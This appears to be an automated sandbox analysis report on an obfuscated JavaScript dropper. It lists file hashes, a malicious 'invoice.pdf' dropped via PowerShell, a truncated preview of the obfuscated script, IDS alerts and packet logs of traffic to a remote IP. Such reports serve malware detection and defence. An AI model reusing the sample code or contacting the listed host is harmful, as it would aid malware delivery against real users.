SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\dbf87521-0de0-4bfa-8500-e41bb435dec7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZSdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:TwZG6bWLxBGZS3mlind9i4ufFXpAXkrj
MD5:	4EAEE53509167AAEE3B27D9846E76878
SHA1:	D18F9064065AF57C2E46284112594989BE66A6D0
SHA-256:	147DF04B545EB05724AAD0D90624527352C79C477F5DD188B5AEB15B485FC139
SHA-512:	35D5D521D529F5AB7FB7B09871D62A8150D26A7E4040503B52726D82A4B514F56EAF035CF5B2C629AE8D8B86BC1FBA35CCD8F09351FE335645E15AFAB0EF23E3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15907), with CRLF line terminators
Entropy (8bit):	4.919710017318518
TrID:
File name:	27962100941450914990.js
File size:	19'406 bytes
MD5:	5e57a3be6fed74f0945e38f0b681d8e0
SHA1:	28f707c41329732f724de30f19da2642cc5e181d
SHA256:	8272a7428732a3da7717b9f2b49c16ab4c1b0dfbde00c70a6d61f932d65a5f8d
SHA512:	3d895765ca752c1ed02ed0f76c8990130323da34884091f36567a7dcfe7dfcfb621c01fb3f88b7e93f9fe8ba795afa7aa9f92db8f3d43d0ff3622f9bf325202b
SSDEEP:	192:6ff3rP5FnVEQZo+G71w0Nc9copU1tcb/NjbXUEnn/yH2GPFiVZPqhCKRb7WqIz4B:qP5DnUiVxdFqIcAQxoTUf
TLSH:	7E924480DC98CA25CCF403F0B12529D6E7B5420E67B040868BCE42D34B5A97AF5EF6F9
File Content Preview:	function tpfxcnkf(){mahpdjh=[1031,3079,5127,4103,2055,3072];var rkluhwwgw=this[ndyznrpo+cntycallx+wpzmmla+zzyxyi+fgxnrf+rsmylci+fxsjkkc+qgxzkf](this[zfdthrky+bjfsrwm+uuonq+wpzmmla+nqeswmt+ndyznrpo+qgxzkf][txhuxk+wpzmmla+fgxnrf+cntycallx+qgxzkf+fgxnrf+qbpm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:25:04.743846+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49707	193.143.1.205	80	TCP
2025-01-10T21:25:07.883810+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:25:03.935738087 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:03.942784071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:03.943069935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:03.946471930 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:03.953722954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743534088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743561983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743573904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743586063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743599892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743611097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743623972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743635893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743649006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743663073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.743845940 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.748673916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.748684883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.748838902 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.786669970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.786681890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.786693096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.787118912 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.868401051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.868412971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.868422985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.868433952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.868444920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.868470907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.868518114 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.868568897 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.869082928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869093895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869105101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869110107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869121075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869256973 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.869914055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869940996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869970083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.869976997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.869991064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.870001078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.870027065 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.870068073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.870912075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.870923042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.870933056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.870943069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.870964050 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.871001005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.877526045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.877537012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.877547026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.877558947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.877577066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.877691984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.911648989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.911659956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.911799908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.959333897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.959353924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.959475994 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.993397951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993415117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993427992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993441105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993614912 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.993614912 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.993649006 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993664026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993674994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993685961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993702888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.993722916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.993771076 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.994362116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.994416952 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.994429111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.994441032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.994453907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.994465113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.994477034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.994498014 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.994522095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.995368004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.995379925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.995390892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.995402098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.995418072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.995428085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.995454073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.995457888 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.995498896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.996324062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.996336937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.996346951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.996361017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.996376038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.996382952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.996407032 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.996427059 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.996470928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.997231007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.997241974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.997253895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.997291088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.997302055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.997313023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.997315884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.997315884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.997363091 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.998245955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.998254061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.998260021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.998265982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.998270988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.998272896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.998300076 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.998343945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:04.999113083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:04.999174118 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.002027035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.002089977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.002100945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.002114058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.002129078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.002146959 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.002178907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.050446033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.050457001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.050637007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.084242105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.084281921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.084291935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.084297895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.084647894 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.118712902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.118725061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.118736029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.118746042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.118757963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.118838072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.118896008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.118902922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.118902922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.118987083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119004011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119020939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119030952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119036913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.119041920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119054079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119105101 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.119105101 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.119447947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119460106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119476080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119488001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119518042 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.119533062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119544029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119554043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.119590044 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.119590044 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.119611979 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.120157003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120167971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120177031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120186090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120198011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120208979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120219946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120230913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120240927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120254993 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.120254993 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.120280027 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.120872021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120882988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120892048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120902061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120913982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120923996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120927095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.120935917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120946884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120955944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.120958090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120969057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.120971918 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.120980978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121025085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.121045113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.121836901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121850967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121860981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121870995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121881008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121890068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121901035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121912956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121917009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.121917009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.121923923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121936083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121947050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.121977091 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.121977091 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.121994972 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.122855902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122867107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122876883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122886896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122896910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122900963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.122906923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122919083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122925043 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.122930050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122941017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122947931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.122951984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122963905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.122977972 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.123003960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.123018026 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.123871088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123887062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123897076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123924017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123934984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123938084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:25:05.123944044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123955011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123965979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 21:25:05.123975992 CET	80	49707	193.143.1.205	192.168.2.9
